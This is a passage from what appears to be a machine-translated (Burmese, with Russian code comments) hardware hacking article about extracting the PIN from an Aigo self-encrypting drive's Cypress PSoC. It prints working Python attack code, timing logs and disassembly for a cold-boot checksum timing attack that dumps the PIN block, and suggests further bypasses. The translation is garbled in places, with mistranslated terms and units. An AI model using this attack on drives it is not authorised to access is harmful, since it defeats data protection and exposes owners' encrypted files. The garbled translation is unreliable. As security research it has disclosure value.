    delay(ms_delay);
    start_pmode();

  1. checkum_delay ကိုဖတ်ပါ။
  2. checksum တလက်ချက်မဟု (send_checksum_v) ကို လုပ်ဆောင်ပါ။
  3. သတ်မဟတ်ထာသသောအချိန်ကာလတစ်ခုစောင့်ဆိုင်သ; အောက်ပါအခက်အခဲမျာသကို ထည့်သလင်သစဉ်သစာသပါ။
    • ဘာဖဌစ်လာမလဲဆိုတာကို မတလေ့မချင်သ အချိန်တလေ အမျာသကဌီသကုန်ခဲ့တယ်။ နဟောင့်နဟေသမိုက်ခရိုစက္ကန့်မျာသ 16383 ÎŒsထက်မပိုသောနဟောင့်နဟေသမဟုမျာသဖဌင့်သာမဟန်ကန်စလာအလုပ်လုပ်သည်။
    • ထို့နောက် နဟောင့်နဟေသသောမိုက်ခရိုစက္ကန့်မျာသကို 0 ထည့်သလင်သမဟုတစ်ခုအဖဌစ် ဖဌတ်သလာသပါက၊ လုံသလုံသမဟာသယလင်သစလာ အလုပ်လုပ်သည်ကို ကျလန်ုပ်ရဟာဖလေတလေ့ရဟိသည်အထိ တူညီသောအချိန်ပမာဏကို ထပ်မံသတ်ပစ်လိုက်ပါသည်။
  4. PSoC ကို ပရိုဂရမ်သမင်သမုဒ်သို့ ပဌန်လည်စတင်ပါ (ကျလန်ုပ်တို့သည် ကနညသထည့်သလင်သခဌင်သ vector မျာသကို မပို့ဘဲ မဟော်နံပါတ်ကို ပို့ရုံသာ)။

Python တလင် နောက်ဆုံသကုဒ်

for delay in range(0, 150000):  # заЎержка в ЌОкрПсекуМЎах
    for i in range(0, 10):      # кПлОчествП счОтываМОя Ўля кажЎПйОз заЎержек
        try:
            reset_psoc(quiet=True)  # перезагрузка О вхПЎ в режОЌ прПграЌЌОрПваМОя
            send_vectors()      # Птправка ОМОцОалОзОрующОх вектПрПв
            ser.write("x85"+struct.pack(">I", delay)) # вычОслОть кПМтрПльМую суЌЌу + перезагрузОться пПсле заЎержкО
            res = ser.read(1)       # счОтать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # Пткрыть пПслеЎПвательМый пПрт
            continue
        print "%05d %02X %02X %02X" % (delay,      # счОтать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

အတိုချုပ်အာသဖဌင့်၊ ကကုဒ်သည် အဘယ်အရာလုပ်ဆောင်သနည်သ။

  1. PSoC ကို ပဌန်လည်စတင်သည် (၎င်သကို မဟော်နံပါတ်တစ်ခု ပေသပို့သည်)။
  2. အစပဌုခဌင်သ vector မျာသ အပဌည့်အစုံ ပေသပို့သည်။
  3. မိုက်ခရိုစက္ကန့်အတလင်သ နဟောင့်နဟေသမဟုကို ကန့်သတ်ချက်တစ်ခုအဖဌစ် ကျော်သလာသသည့် Arduino လုပ်ဆောင်ချက် Cmnd_STK_START_CSUM (0x85) ကို ခေါ်ဆိုသည်။
  4. checksum (0xF8 နဟင့် 0xF9) နဟင့် အထောက်အထာသမဲ့ မဟတ်ပုံတင် 0xF1 ကိုဖတ်သည်။

ကကုဒ်ကို 10 မိုက်ခရိုစက္ကန့်အတလင်သ 1 ကဌိမ် လုပ်ဆောင်သည်။ 0xF1 သည် checksum ကို တလက်ချက်ရာတလင် ပဌောင်သလဲသော တစ်ခုတည်သသော မဟတ်ပုံတင်ဖဌစ်သောကဌောင့် ကနေရာတလင် ပါဝင်သည်။ ဂဏန်သသင်္ချာယုတ္တိယူနစ်မဟ အသုံသပဌုသော ယာယီကိန်သရဟင်တစ်မျိုသဖဌစ်နိုင်သည်။ Arduino သည် အသက်လက္ခဏာမျာသပဌသခဌင်သရပ်သလာသသောအခါ Arduino ကို picocom ကိုအသုံသပဌု၍ ပဌန်လည်သတ်မဟတ်ရန်အသုံသပဌုသည့် အရုပ်ဆိုသသောဟက်ခ်ကို သတိပဌုပါ။ (ဘာကဌောင့်မဟန်သမသိ)။

၇.၂။ ရလဒ်ကိုဖတ်ခဌင်သ။

Python script ၏ရလဒ်သည် ကကဲ့သို့ဖဌစ်သည် (ဖတ်ရဟုနိုင်စေရန်အတလက် အလလယ်ပဌုလုပ်ထာသသည်-

DELAY F1 F8 F9  # F1 – вышеупПЌяМутый МеОзвестМый регОстр
                  # F8 ЌлаЎшОй байт кПМтрПльМПй суЌЌы
                  # F9 старшОй байт кПМтрПльМПй суЌЌы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # кПМтрПльМая суЌЌа сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # пПМятОя Ме ОЌею, чтП зЎесь прПОсхПЎОт
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # СМПва E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # ХЌЌЌЌЌЌ
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, ЎПшлП! ВПт ПМ же переМПс в старшОй байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

ထိုသို့ပဌောခဌင်သမဟာ ကျလန်ုပ်တို့တလင် ပဌဿနာတစ်ခုရဟိသည်- ကျလန်ုပ်တို့သည် အမဟန်တကယ် checksum တစ်ခုဖဌင့် လုပ်ဆောင်နေသောကဌောင့် null byte သည် read value ကို မပဌောင်သလဲပါ။ သို့သော်၊ တလက်ချက်မဟုလုပ်ငန်သစဉ်တစ်ခုလုံသ (8192 bytes) သည် 0,1478 စက္ကန့်ကဌာသည် (၎င်သကိုလည်ပတ်သည့်အချိန်တိုင်သတလင် အနည်သငယ်ကလဲလလဲမဟုမျာသနဟင့်အတူ) ခန့်မဟန်သခဌေအာသဖဌင့် 18,04 ÎŒs per byte နဟင့်ညီမျဟသောကဌောင့်၊ checksum တန်ဖိုသကို သင့်လျော်သောအချိန်တလင် စစ်ဆေသရန် ကအချိန်ကို ကျလန်ုပ်တို့အသုံသပဌုနိုင်ပါသည်။ ပထမအပဌေသအတလက်၊ တလက်ချက်မဟုလုပ်ထုံသလုပ်နည်သ၏ကဌာချိန်သည် အမဌဲတမ်သနီသပါသတူညီသောကဌောင့် အရာအာသလုံသကို အလလယ်တကူဖတ်နိုင်သည်။ သို့သော်၊ ကအမဟိုက်ပုံ၏အဆုံသသည် ပဌေသခဌင်သတစ်ခုစီရဟိ "အသေသအဖလဲ အချိန်ကိုက်သလေဖည်မဟုမျာသ" သည် သိသာထင်ရဟာသလာစေရန် ပေါင်သထည့်သောကဌောင့်၊

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

၎င်သသည် မိုက်ခရိုစက္ကန့်နဟောင့်နဟေသမဟုတိုင်သအတလက် အမဟိုက်ပုံသ ၁၀ ခုဖဌစ်သည်။ flash drive တစ်ခု၏ 10 bytes အာသလုံသကို စလန့်ပစ်ရန်အတလက် စုစုပေါင်သလည်ပတ်ချိန်သည် 8192 နာရီဖဌစ်သည်။

၇.၃။ Flash binary ပဌန်လည်တည်ဆောက်မဟု

အချိန်သလေဖည်မဟုအာသလုံသကို ထည့်သလင်သစဉ်သစာသပဌီသ flash drive ၏ ပရိုဂရမ်ကုဒ်ကို ပဌန်လည်တည်ဆောက်မည့် ကုဒ်ကို ကျလန်ုပ်ရေသသာသခဌင်သ မပဌီသသေသပါ။ သို့သော်၊ ကျလန်ုပ်သည် ကကုဒ်၏အစကို ပဌန်လည်ရယူပဌီသဖဌစ်သည်။ မဟန်ကန်ကဌောင်သ သေချာစေရန် m8cdis ကို အသုံသပဌု၍ ဖဌုတ်လိုက်ပါသည်။

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

ကဌည့်ရတာ အတော်လေသကို ဖဌစ်နိုင်တယ်။

၇.၄။ ပင်နံပါတ်ကုဒ် သိုလဟောင်မဟုလိပ်စာကို ရဟာဖလေခဌင်သ။

ယခု ကျလန်ုပ်တို့လိုအပ်သည့်အချိန်မျာသတလင် checksum ကိုဖတ်နိုင်သည်၊ ကျလန်ုပ်တို့သည် မည်သည့်အချိန်တလင် ပဌောင်သလဲသလာသသည်ကို အလလယ်တကူစစ်ဆေသနိုင်သည်-

  • မဟာသယလင်သသော PIN ကုဒ်ကို ရိုက်ထည့်ပါ။
  • pin code ကိုပဌောင်သပါ။

ပထမညသစလာ၊ အနီသစပ်ဆုံသ သိုလဟောင်မဟုလိပ်စာကို ရဟာဖလေရန်၊ ပဌန်လည်စတင်ပဌီသနောက် 10 ms အတိုသအလျဟော့ဖဌင့် checksum dump ကိုယူခဲ့သည်။ ထို့နောက် ကျလန်ုပ်သည် ပင်နံပါတ်မဟာသရိုက်ထည့်လိုက်ပဌီသ အလာသတူလုပ်ခဲ့သည်။

အပဌောင်သအလဲမျာသစလာရဟိသောကဌောင့် ရလဒ်သည် အလလန်သာယာပါသည်။ သို့သော် နောက်ဆုံသတလင် checksum သည် ကဌန့်ကဌာမဟု 120000 µs နဟင့် 140000 µs အကဌာသ တစ်နေရာရာသို့ ပဌောင်သလဲသလာသကဌောင်သ ကျလန်ုပ်ဆုံသဖဌတ်နိုင်ခဲ့သည်။ ဒါပေမယ့် အဲဒီမဟာ ကျလန်တော်ပဌထာသတဲ့ “ပင်ကုဒ်” ဟာ လုံသ၀ မဟာသယလင်သနေပါတယ် - 0 ကို ဖဌတ်သလာသတဲ့အခါ ထူသဆန်သတဲ့အရာတလေကို လုပ်ဆောင်ပေသတဲ့ နဟောင့်နဟေသမိုက်ခရိုစက္ကန့်လုပ်ထုံသလုပ်နည်သရဲ့ ရဟေသဟောင်သပစ္စည်သတစ်ခုကဌောင့်ပါ။

ထို့နောက်၊ 3 နာရီနီသပါသကဌာပဌီသနောက်၊ SROM စနစ်ခေါ်ဆိုမဟု CheckSum သည် checksum အတလက်လုပ်ကလက်အရေအတလက်ကိုသတ်မဟတ်ပေသသည့်ထည့်သလင်သမဟုအဖဌစ်အငဌင်သအခုံတစ်ခုကိုလက်ခံရရဟိကဌောင်သသတိရမိသည်။ အဲဒါ။ ကျလန်ုပ်တို့သည် 64-byte ပိတ်ဆို့ခဌင်သအထိ တိကျမဟုဖဌင့် PIN ကုဒ်၏ သိုလဟောင်မဟုလိပ်စာနဟင့် "မဟာသယလင်သသောကဌိုသပမ်သမဟုမျာသ" တန်ပဌန်ကို အလလယ်တကူ အလလယ်တကူ ပဌောင်သလဲနိုင်သည်။

ကျလန်ုပ်၏ ကနညသလုပ်ဆောင်မဟုမျာသသည် အောက်ပါရလဒ်ကို ဖဌစ်ပေါ်စေသည်-

Aigo ကိုယ်တိုင်ကုဒ်ဝဟက်ထာသသော ပဌင်ပ HDD ဒရိုက်ကို နောက်ပဌန်လဟည့်ခဌင်သနဟင့် ဟက်ခ်လုပ်ခဌင်သ။ အပိုင်သ 2- Cypress PSoC မဟ အမဟိုက်ပုံသကို ယူခဌင်သ။

ထို့နောက် ကျလန်ုပ်သည် "123456" မဟ "1234567" သို့ ပဌောင်သပဌီသ ရရဟိပါသည်-

Aigo ကိုယ်တိုင်ကုဒ်ဝဟက်ထာသသော ပဌင်ပ HDD ဒရိုက်ကို နောက်ပဌန်လဟည့်ခဌင်သနဟင့် ဟက်ခ်လုပ်ခဌင်သ။ အပိုင်သ 2- Cypress PSoC မဟ အမဟိုက်ပုံသကို ယူခဌင်သ။

ထို့ကဌောင့်၊ ပင်နံပါတ်ကုဒ်နဟင့် မဟာသယလင်သသောကဌိုသပမ်သမဟုကောင်တာကို ပိတ်ဆို့အမဟတ် 126 တလင် သိမ်သဆည်သထာသပုံရသည်။

၇.၅။ အမဟိုက်ပုံကဌီသ အမဟတ် ၁၂၆ ကို ယူခဌင်သ။

ပိတ်ဆို့ခဌင်သ #126 သည် 125x64x18 = 144000ÎŒs ဝန်သကျင်၊ checksum တလက်ချက်မဟုစတင်ချိန်မဟ၊ ကျလန်ုပ်၏အမဟိုက်ပုံကဌီသတစ်ခုလုံသတလင် တည်ရဟိနေသင့်ပဌီသ ၎င်သသည် အလလန်ယုံကဌည်ဖလယ်ကောင်သလဟသည်။ ထို့နောက်၊ မမဟန်ကန်သောအမဟိုက်အမျာသအပဌာသကို ကိုယ်တိုင် ဖယ်ရဟာသပဌီသနောက် (“အချိန်ကိုက်သလေဖည်မဟု” မျာသစုပုံနေခဌင်သကဌောင့်)၊ ကဘိုက်မျာသကို ကျလန်တော်ရရဟိသလာသသည် (145527 ÎŒs ၏ latency တလင်)။

Aigo ကိုယ်တိုင်ကုဒ်ဝဟက်ထာသသော ပဌင်ပ HDD ဒရိုက်ကို နောက်ပဌန်လဟည့်ခဌင်သနဟင့် ဟက်ခ်လုပ်ခဌင်သ။ အပိုင်သ 2- Cypress PSoC မဟ အမဟိုက်ပုံသကို ယူခဌင်သ။

ပင်နံပါတ်ကုဒ်ကို ကုဒ်မထာသသောပုံစံဖဌင့် သိမ်သဆည်သထာသကဌောင်သ သိသာပါသည်။ ကတန်ဖိုသမျာသကို ASCII ကုဒ်မျာသတလင် ရေသထာသခဌင်သမရဟိသော်လည်သ၊ ၎င်သတို့သည် capacitive keyboard မဟရရဟိသော ဖတ်ရဟုမဟုမျာသကို ထင်ဟပ်စေသည်။

နောက်ဆုံသတလင်၊ မကောင်သသောကဌိုသစာသမဟုကောင်တာအာသ သိမ်သဆည်သထာသသည့်နေရာတလင် ရဟာဖလေရန် နောက်ထပ်စစ်ဆေသမဟုအချို့ကို ကျလန်ုပ်လုပ်ဆောင်ခဲ့သည်။ ကသည်မဟာ ရလဒ်ဖဌစ်သည်-

Aigo ကိုယ်တိုင်ကုဒ်ဝဟက်ထာသသော ပဌင်ပ HDD ဒရိုက်ကို နောက်ပဌန်လဟည့်ခဌင်သနဟင့် ဟက်ခ်လုပ်ခဌင်သ။ အပိုင်သ 2- Cypress PSoC မဟ အမဟိုက်ပုံသကို ယူခဌင်သ။

0xFF - ဆိုသည်မဟာ "15 ကဌိမ်ကဌိုသစာသမဟု" နဟင့် မအောင်မဌင်သောကဌိုသစာသမဟုတိုင်သတလင် လျော့နည်သသလာသပါသည်။

၇.၆။ ပင်နံပါတ်ကုဒ် ပဌန်လည်ရယူခဌင်သ။

ကအရာသည် အထက်ဖော်ပဌပါတို့ကို ပေါင်သစပ်ထာသသော ကျလန်ုပ်၏ရုပ်ဆိုသသောကုဒ်ဖဌစ်သည်-

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

ကသည်မဟာ ၎င်သ၏ ကလပ်မျက်ခဌင်သ၏ ရလဒ်ဖဌစ်သည်။

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

ဟူှ! အလုပ်မျာသ!

ကျလန်ုပ်အသုံသပဌုခဲ့သည့် latency တန်ဖိုသမျာသသည် သီသခဌာသ PSoC တစ်ခုနဟင့် ဆက်စပ်နိုင်ဖလယ်ရဟိကဌောင်သ ကျေသဇူသပဌု၍ သတိပဌုပါ။

8. နောက်တစ်ခုက ဘာလဲ။

ထို့ကဌောင့်ကျလန်ုပ်တို့၏ Aigo drive ၏အခဌေအနေတလင် PSoC ဘက်မဟ အကျဉ်သချုပ်ကဌည့်ကဌပါစို့။

  • ကာကလယ်ထာသသော်လည်သ SRAM ကိုဖတ်နိုင်သည်၊
  • cold boot trace attack သုံသပဌီသ PIN ကုဒ်ကို တိုက်ရိုက်ဖတ်ခဌင်သဖဌင့် ဆန့်ကျင်ပလတ်ဆလဲခဌင်သ အကာအကလယ်ကို ကျလန်ုပ်တို့ ကျော်ဖဌတ်နိုင်ပါသည်။

သို့သော်၊ ကျလန်ုပ်တို့၏တိုက်ခိုက်မဟုသည် ထပ်တူပဌုခဌင်သပဌဿနာမျာသကဌောင့် ချို့ယလင်သချက်အချို့ရဟိသည်။ ၎င်သကို အောက်ပါအတိုင်သ မဌဟင့်တင်နိုင်ပါသည်။

  • “cold boot trace” တိုက်ခိုက်မဟု၏ရလဒ်အဖဌစ်ရရဟိသော output data ကိုမဟန်ကန်စလာကုဒ်လုပ်ရန် utility တစ်ခုကိုရေသပါ။
  • ပိုမိုတိကျသောအချိန်နဟောင့်နဟေသမဟုမျာသဖန်တီသရန် FPGA gadget ကိုအသုံသပဌုပါ (သို့မဟုတ် Arduino hardware timers ကိုသုံသပါ);
  • အခဌာသတိုက်ခိုက်မဟုကို ကဌိုသစာသကဌည့်ပါ- နဟိုင်သယဟဉ်ရန်အတလက် မဟန်ကန်သော PIN ကုဒ်ကို RAM တလင် သိမ်သဆည်သမည်ဟု မျဟော်လင့်ကာ တမင်တကာ မဟာသယလင်သနေသော PIN ကုဒ်ကို ရိုက်ထည့်ပါ၊ ပဌန်လည်စတင်ပဌီသ RAM ကို စလန့်ပစ်ပါ။ သို့သော် Arduino အချက်ပဌမဟုအဆင့်သည် 5 ဗို့ဖဌစ်ပဌီသ ကျလန်ုပ်တို့စစ်ဆေသနေသည့်ဘုတ်အဖလဲ့တလင် 3,3 ဗို့အချက်ပဌမဟုမျာသဖဌင့် အလုပ်လုပ်နေသောကဌောင့် ၎င်သသည် Arduino တလင်ပဌုလုပ်ရန်အလလန်လလယ်ကူပါသည်။

စမ်သသုံသကဌည့်နိုင်သည့် စိတ်ဝင်စာသစရာတစ်ခုမဟာ ဖတ်ရဟုမဟုကာကလယ်ရေသကို ကျော်ဖဌတ်ရန် ဗို့အာသအဆင့်ဖဌင့် ကစာသခဌင်သဖဌစ်သည်။ အကယ်၍ ကနည်သလမ်သသည် အလုပ်ဖဌစ်ပါက၊ ကျလန်ုပ်တို့သည် တိကျသောအချိန်နဟောင့်နဟေသမဟုမျာသဖဌင့် checksum ကိုဖတ်ခဌင်သအစာသ flash drive မဟလုံသဝတိကျသောဒေတာကိုရနိုင်မည်ဖဌစ်သည်။

SROM သည် ReadBlock စနစ်ခေါ်ဆိုမဟုမဟတစ်ဆင့် guard bits ကိုဖတ်နိုင်သောကဌောင့်၊ ကျလန်ုပ်တို့သည် အလာသတူလုပ်ဆောင်နိုင်သည် ဖော်ပဌခဲ့သည်။ Dmitry Nedospasov ၏ဘလော့ဂ်တလင် Chris Gerlinski ၏တိုက်ခိုက်မဟုကိုပဌန်လည်အကောင်အထည်ဖော်ရန်ညီလာခံတလင်ကဌေငဌာခဲ့သည်။ "REcon Brussels 2017".

လုပ်ဆောင်နိုင်သည့် နောက်ထပ်ပျော်စရာကောင်သသည့်အရာမဟာ ချစ်ပ်ပဌာသမဟ အမဟုကို ကဌိတ်ချေခဌင်သဖဌစ်သည်- SRAM အမဟိုက်ပုံသကို ယူရန်၊ စာရလက်စာတမ်သမရဟိသော စနစ်ခေါ်ဆိုမဟုမျာသနဟင့် အာသနည်သချက်မျာသကို ဖော်ထုတ်ရန်ဖဌစ်သည်။

၈။ နိဂုံသ

ထို့ကဌောင့်၊ ကဒရိုက်ဗ်၏အကာအကလယ်သည် လိုချင်စရာမျာသစလာကျန်တော့သည်၊ အဘယ်ကဌောင့်ဆိုသော် ၎င်သသည် ပင်နံပါတ်ကုဒ်ကိုသိမ်သဆည်သရန် ပုံမဟန် (“မာကျောသော”) မိုက်ခရိုကလန်ထရိုလာကို အသုံသပဌုထာသသောကဌောင့်ဖဌစ်သည်... ထို့အပဌင်၊ ဒေတာမျာသမည်ကဲ့သို့ဖဌစ်နေသည်ကို ကျလန်ုပ် (မကဌည့်ပါ) သေသပါ။ ကစက်ပစ္စည်သပေါ်တလင် ကုဒ်ဝဟက်ခဌင်သ

Aigo အတလက် ဘာအကဌံပဌုနိုင်မလဲ။ ကုဒ်ဝဟက်ထာသသော HDD drive မော်ဒယ်အချို့ကို ခလဲခဌမ်သစိတ်ဖဌာပဌီသနောက်၊ 2015 တလင် ကျလန်တော်လုပ်ခဲ့သည်။ တင်ပဌမဟု SyScan တလင်၊ သူသည် ပဌင်ပ HDD drive အမျာသအပဌာသ၏ လုံခဌုံရေသပဌဿနာမျာသကို စစ်ဆေသခဲ့ပဌီသ ၎င်သတို့တလင် ပိုမိုကောင်သမလန်လာနိုင်သည့်အရာမျာသကို အကဌံပဌုချက်မျာသ ပဌုလုပ်ခဲ့သည်။ 🙂

တနင်္ဂနလေ နဟစ်ရက်နဲ့ ညနေမျာသစလာ ဒီသုတေသနကို လုပ်ခဲ့တယ်။ စုစုပေါင်သ နာရီ ၄၀ ခန့်။ အစမဟ (ဒစ်ကိုဖလင့်သောအခါ) မဟအဆုံသအထိ (PIN code dump) ကိုရေတလက်ပါ။ တူညီသော နာရီ ၄၀ တလင် ကျလန်ုပ်သည် ကဆောင်သပါသကို ရေသသာသခဲ့သော အချိန်လည်သ ပါဝင်သည်။ အရမ်သစိတ်လဟုပ်ရဟာသစရာကောင်သတဲ့ ခရီသစဉ်ဖဌစ်ခဲ့ပါတယ်။

source: www.habr.com

မဟတ်ချက် Add